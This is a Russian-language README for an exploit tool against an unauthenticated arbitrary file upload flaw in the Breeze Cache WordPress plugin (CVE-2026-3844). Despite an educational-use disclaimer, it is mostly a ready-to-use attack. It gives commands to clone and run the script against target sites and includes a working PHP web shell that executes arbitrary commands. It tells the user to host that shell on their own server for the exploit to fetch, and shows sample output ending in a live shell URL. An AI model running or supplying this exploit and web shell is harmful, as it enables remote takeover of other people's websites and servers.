
WordPress - Breeze Cache <= 2.4.4 - Неаутентифицированная произвольная загрузка файлов
ДАННЫЙ ИНСТРУМЕНТ ПРЕДОСТАВЛЕН ИСКЛЮЧИТЕЛЬНО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И ИССЛЕДОВАНИЙ В ОБЛАСТИ БЕЗОПАСНОСТИ.
Несанкционированный доступ к компьютерным системам является незаконным. Используйте этот инструмент только на
системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Автор не несёт
ответственности за любое неправомерное использование или ущерб, причинённый данным программным обеспечением.
CVE-2026-3844 — это критическая уязвимость неавторизованной произвольной загрузки файлов в плагине Breeze Cache для WordPress (версии ≤ 2.4.4). Плагин не выполняет надлежащую проверку параметра srcset в комментариях, что позволяет удалённым злоумышленникам загружать вредоносные файлы (включая веб-шеллы) на сервер.
Уязвимость использует функциональность кэширования Gravatar в Breeze. Когда публикуется комментарий с особым образом сформированным параметром srcset, содержащим URL удалённого файла, Breeze загружает и сохраняет файл локально по пути:
/wp-content/cache/breeze-extra/gravatars/[random_marker][file_extension]
Предварительное условие: в настройках Breeze должна быть включена опция «Host Files Locally - Gravatars».
# Клонирование репозитория
git clone https://github.com/0xgh057r3c0n/CVE-2026-3844.git
cd CVE-2026-3844
# Установка зависимостей
pip install pycurl termcolor
python3 CVE-2026-3844.py -u http://target.com
# Проверка уязвимости цели без эксплуатации
python3 CVE-2026-3844.py -u http://target.com --check-only
# Использование собственного URL полезной нагрузки
python3 CVE-2026-3844.py -u http://target.com -p http://your-server.com/payload.php
# Сохранение вывода в файл
python3 CVE-2026-3844.py -u http://target.com -o shells.txt
# Увеличение тайм-аута для медленных целей
python3 CVE-2026-3844.py -u http://target.com --timeout 30
| Аргумент | Описание |
|---|---|
-u, --url | URL цели (обязательный) |
-p, --payload | URL удалённой полезной нагрузки |
--timeout | Тайм-аут запроса в секундах (по умолчанию: 15) |
--check-only | Только проверить, уязвима ли цель |
-o, --output | Сохранить URL шелла в файл |
Создайте собственный веб-шелл (shell.php):
<?php
if(isset($_REQUEST['cmd'])) {
echo "<pre>";
system($_REQUEST['cmd']);
echo "</pre>";
}
?>
Разместите его в доступном месте, затем используйте:
python3 CVE-2026-3844.py -u http://target.com -p http://your-server.com/shell.php
Эксплойт автоматически проверяет наличие строки проверки 4356452d323032362d33383434 (hex-кодированная строка «CVE-2026-3844») в загруженном файле для подтверждения успешной эксплуатации.
[*] ФАЗА 1: ОЦЕНКА УЯЗВИМОСТИ
[*] Проверка версии плагина Breeze...
[+] Цель УЯЗВИМА (Breeze v2.4.4)
[*] ФАЗА 2: ЭКСПЛУАТАЦИЯ
[!] ТРЕБОВАНИЕ: опция 'Host Files Locally - Gravatars' ДОЛЖНА БЫТЬ ВКЛЮЧЕНА
[*] Шаг 1: Отправка вредоносного комментария...
[+] Комментарий успешно опубликован
[*] Шаг 2: Ожидание кэширования файла Breeze...
[*] Шаг 3: Проверка загруженного файла...
[+] Файл найден по адресу: http://target.com/wp-content/cache/breeze-extra/gravatars/x7k3m9p2.php
[+] СТРОКА ПРОВЕРКИ НАЙДЕНА — ЭКСПЛУАТАЦИЯ УСПЕШНА!
[✓] СТАТУС: УСПЕХ
[✓] URL ВЕБ-ШЕЛЛА: http://target.com/wp-content/cache/breeze-extra/gravatars/x7k3m9p2.php
CVE-2026-3844/
├── CVE-2026-3844.py # Основной скрипт эксплойта
├── README.md # Этот файл
└── LICENSE # Лицензия MIT
Этот проект распространяется под лицензией MIT — подробности см. в файле LICENSE.
Если вы считаете этот инструмент полезным, пожалуйста, поставьте ему звезду ⭐ на GitHub!